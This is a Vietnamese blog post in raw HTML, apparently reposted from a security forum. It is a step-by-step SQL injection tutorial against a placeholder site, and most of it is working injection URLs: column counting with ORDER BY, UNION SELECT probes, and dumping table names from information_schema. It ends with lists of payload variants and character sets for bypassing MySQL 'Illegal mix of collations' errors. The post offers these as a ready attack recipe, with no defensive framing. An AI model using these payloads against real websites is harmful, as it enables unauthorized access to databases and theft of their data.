Free share all

san

<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjDL976Tze8gb0Kqdp9d5Fk8t2BMzPguiXeWYi3B2bmep5CbDW5dHkZXwLq9R2OlkyULX3ES4B44Th2FKKEEKSI_jpLu8XWZOWQuL2oGgTZ0yIVARs1wasU8OMdD8i5cisqrXcJPHYj8mQC/s1600/sql_injection.jpeg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="213" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjDL976Tze8gb0Kqdp9d5Fk8t2BMzPguiXeWYi3B2bmep5CbDW5dHkZXwLq9R2OlkyULX3ES4B44Th2FKKEEKSI_jpLu8XWZOWQuL2oGgTZ0yIVARs1wasU8OMdD8i5cisqrXcJPHYj8mQC/s1600/sql_injection.jpeg" width="320" /></a></div>
<br />
<br />
Ví dụ ta có site: http://www.xyz.com<br />
<br />
<b>Bước 1: Check lỗi</b><br />
<br />
Thêm dấu ‘ sau đường link có dạng id=<br />
<br />
<blockquote class="tr_bq">
http://www.xyz.com/news_dett.php?id=10' </blockquote>
<br />
Giao diện website sẽ có thay đổi. Chứng tỏ site bị lỗi.<br />
<br />
<b>Bước 2: Tìm số trường cột</b><br />
<br />
<blockquote class="tr_bq">
http://www.xyz.com/news_dett.php?id=10 order by 2-- - </blockquote>
<br />
-> Site vẫn bình thường<br />
<br />
<blockquote class="tr_bq">
http://www.xyz.com/news_dett.php?id=10 order by 3-- - </blockquote>
<br />
-> Site thay đổi<br />
<blockquote class="tr_bq">
<br />(Unknown column '3' in 'order clause')</blockquote>
<br />
Số trường cột cần tìm là 2<br />
<br />
<b>Bước 3: Xác định vị trí trường cột bị lỗi</b><br />
<br />
<blockquote class="tr_bq">
http://www.xyz.com/news_dett.php?id=-10 union select 1,2-- - </blockquote>
<br />
Giả sử ở đây xuất hiện số 2<br />
<br />
<b>Bước 4: Xuất ra tên các tables trong database</b><br />
<br />
<br />
<blockquote class="tr_bq">
http://www.xyz.com/news_dett.php?id=-10 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()-- - </blockquote>
<br />
Lúc này nếu thấy có thông báo lỗi Illegal mix of collations for operation 'UNION'<br />
<br />
Ta sẽ tiến hành bypass chỗ table_name như sau<br />
<br />
<blockquote class="tr_bq">
http://www.xyz.com/news_dett.php?id=-10 union select 1,convert((table_name) using latin1) from information_schema.tables where table_schema=database()-- - </blockquote>
<br />
Lúc này sẽ xuất hiện các table ta cần thiết.<br />
<br />
Các cách bypass như sau:<br />
<br />
<blockquote class="tr_bq">
convert((table_name) using latin1)<br />unhex(hex(table_name))<br />aes_decrypt(aes_encrypt((table_name),1),1)<br />cast((table_name)+as+binary)<br />convert((table_name),binary)<br />convert((table_name)+using+binary)<br />unhex(hex(group_concat(table_name)))<br />convert(group_concat(table_name) using ascii)</blockquote>
<br />
Riêng đối với trường hợp <b>convert(group_concat(table_name) using ascii)</b> nếu bảng mã ascii không tương ứng thì ta có thể thay bằng<br />
<br />
<blockquote class="tr_bq">
ujis<br />ucs2<br />tis620<br />swe7<br />sjis<br />macroman<br />macce<br />latin7<br />latin5<br />latin2<br />koi8u<br />koi8r<br />keybcs2<br />hp8<br />geostd8<br />gbk<br />gb2132<br />armscii8<br />ascii<br />binary<br />cp1250<br />big5<br />cp1251<br />cp1256<br />cp1257<br />cp850<br />cp852<br />cp866<br />cp932<br />dec8<br />euckr<br />latin1<br />utf8</blockquote>
<br />
<b><span style="color: red;">Lưu ý</span>: Nếu khi tìm version mà nó cũng báo lỗi Illegal mix of collations (latin1_swedish_ci,IMPLICIT) and (utf8_general_ci,SYSCONST) for operation 'UNION'</b><br />
<b>thì ta làm cũng tương tự như sau</b><br />
<br />
<blockquote class="tr_bq">
convert(version() using latin1)<br />aes_decrypt(aes_encrypt(version(),1),1)<br />unhex(hex(@@version))<br />cast(version()+as+binary)<br />convert(version(),binary)<br />convert(version()+using+binary) </blockquote>
<br />
<br />
<b>Tut by:  chinhnghia - ceh.vn </b>

SQLI dạng Bypass "Illegal mix of collations"

Ví dụ ta có site: http://www.xyz.com Bước 1: Check lỗi Thêm dấu ‘ sau đường link có dạng id= http://www.xyz.com/news_dett.php?id=...